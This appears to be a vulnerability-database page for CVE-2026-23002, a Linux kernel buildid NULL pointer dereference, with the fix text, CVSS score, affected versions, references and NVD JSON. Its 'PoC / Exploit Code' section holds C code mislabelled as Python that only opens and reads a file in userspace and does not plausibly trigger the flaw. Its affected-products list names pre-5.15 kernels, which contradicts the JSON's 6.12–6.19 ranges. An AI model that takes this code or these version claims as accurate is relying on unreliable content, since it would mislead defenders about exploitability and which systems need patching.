CVE-2026-23002

Description

In the Linux kernel, the following vulnerability has been resolved: lib/buildid: use __kernel_read() for sleepable context Prevent a "BUG: unable to handle kernel NULL pointer dereference in filemap_read_folio". For the sleepable context, convert freader to use __kernel_read() instead of direct page cache access via read_cache_folio(). This simplifies the faultable code path by using the standard kernel file reading interface which handles all the complexity of reading file data. At the moment we are not changing the code for non-sleepable context which uses filemap_get_folio() and only succeeds if the target folios are already in memory and up-to-date. The reason is to keep the patch simple and easier to backport to stable kernels. Syzbot repro does not crash the kernel anymore and the selftests run successfully. In the follow up we will make __kernel_read() with IOCB_NOWAIT work for non-sleepable contexts. In addition, I would like to replace the secretmem check with a more generic approach and will add fstest for the buildid code.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.12:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 5.15.x (with lib/buildid vulnerable code)

Linux Kernel < 5.10.x (with lib/buildid vulnerable code)

Linux Kernel < 5.4.x (with lib/buildid vulnerable code)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * CVE-2026-23002 PoC - Linux Kernel buildid NULL Pointer Dereference
 * This PoC triggers the vulnerability through buildid computation on a crafted file
 * 
 * Note: This is a kernel-level vulnerability that requires specific conditions:
 * 1. Target system must have the vulnerable buildid code
 * 2. Attacker needs local access to trigger buildid computation
 * 3. Specific file access patterns can trigger the NULL pointer dereference
 * 
 * This PoC demonstrates the concept and should be used in controlled environments only.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define MAX_PATH 4096

void trigger_buildid_vulnerability(const char *file_path) {
    /*
     * The vulnerability occurs when buildid code tries to read file contents
     * using read_cache_folio() in sleepable context, which can lead to NULL
     * pointer dereference in filemap_read_folio().
     * 
     * To trigger this:
     * 1. Create a file that will be processed by buildid
     * 2. Ensure specific memory conditions exist
     * 3. Access the file in a way that triggers buildid computation
     */
    int fd = open(file_path, O_RDONLY);
    if (fd < 0) {
        perror("Failed to open file");
        return;
    }
    
    /* Read file to trigger buildid computation */
    char buffer[8192];
    ssize_t bytes_read;
    
    while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) {
        /* Continue reading to trigger buildid on various file sections */
    }
    
    close(fd);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <target_file>\n", argv[0]);
        return 1;
    }
    
    printf("Attempting to trigger CVE-2026-23002...\n");
    printf("Target file: %s\n", argv[1]);
    
    trigger_buildid_vulnerability(argv[1]);
    
    printf("Operation completed. Check system logs for kernel oops.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23002
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23002
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23002/
[4] VulDB https://vuldb.com/cve/CVE-2026-23002
[5] https://git.kernel.org/stable/c/568aeb3476c770a3863c755dd2a199c212434286
[6] https://git.kernel.org/stable/c/777a8560fd29738350c5094d4166fe5499452409
[7] https://git.kernel.org/stable/c/b11dfb7708f212b96c7973a474014c071aa02e05

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23002", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:55.070", "lastModified": "2026-03-25T19:22:46.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nlib/buildid: use __kernel_read() for sleepable context\n\nPrevent a \"BUG: unable to handle kernel NULL pointer dereference in\nfilemap_read_folio\".\n\nFor the sleepable context, convert freader to use __kernel_read() instead\nof direct page cache access via read_cache_folio(). This simplifies the\nfaultable code path by using the standard kernel file reading interface\nwhich handles all the complexity of reading file data.\n\nAt the moment we are not changing the code for non-sleepable context which\nuses filemap_get_folio() and only succeeds if the target folios are\nalready in memory and up-to-date. The reason is to keep the patch simple\nand easier to backport to stable kernels.\n\nSyzbot repro does not crash the kernel anymore and the selftests run\nsuccessfully.\n\nIn the follow up we will make __kernel_read() with IOCB_NOWAIT work for\nnon-sleepable contexts. In addition, I would like to replace the\nsecretmem check with a more generic approach and will add fstest for the\nbuildid code."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nlib/buildid: usar __kernel_read() para contexto 'sleepable'\n\nPrevenir un 'BUG: unable to handle kernel NULL pointer dereference in filemap_read_folio'.\n\nPara el contexto 'sleepable', convertir freader para usar __kernel_read() en lugar del acceso directo a la caché de páginas a través de read_cache_folio(). Esto simplifica la ruta de código 'faultable' al usar la interfaz estándar de lectura de archivos del kernel que maneja toda la complejidad de la lectura de datos de archivos.\n\nPor el momento no estamos cambiando el código para el contexto 'non-sleepable' que usa filemap_get_folio() y solo tiene éxito si los folios objetivo ya están en memoria y actualizados. La razón es mantener el parche simple y más fácil de 'backportear' a kernels estables.\n\nLa reproducción de Syzbot ya no bloquea el kernel y las pruebas automáticas se ejecutan con éxito.\n\nEn el seguimiento haremos que __kernel_read() con IOCB_NOWAIT funcione para contextos 'non-sleepable'. Además, me gustaría reemplazar la verificación de secretmem con un enfoque más genérico y añadiré fstest para el código buildid."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.1", "versionEndExcluding": "6.12.67", "matchCriteriaId": "26C9CFAB-AE12-4395-997A-22AC98AF8490"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.7", "matchCriteriaId": "99FF3E05-0E7A-44E9-8E47-BF6F1F8EC436"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.12:-:*:*:*:*:*:*", "matchCriteriaId": "0E698080-7669-4132-8817-4C674EEBCE54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}]}]}], "references": [{"url": "https://git. ... (truncated)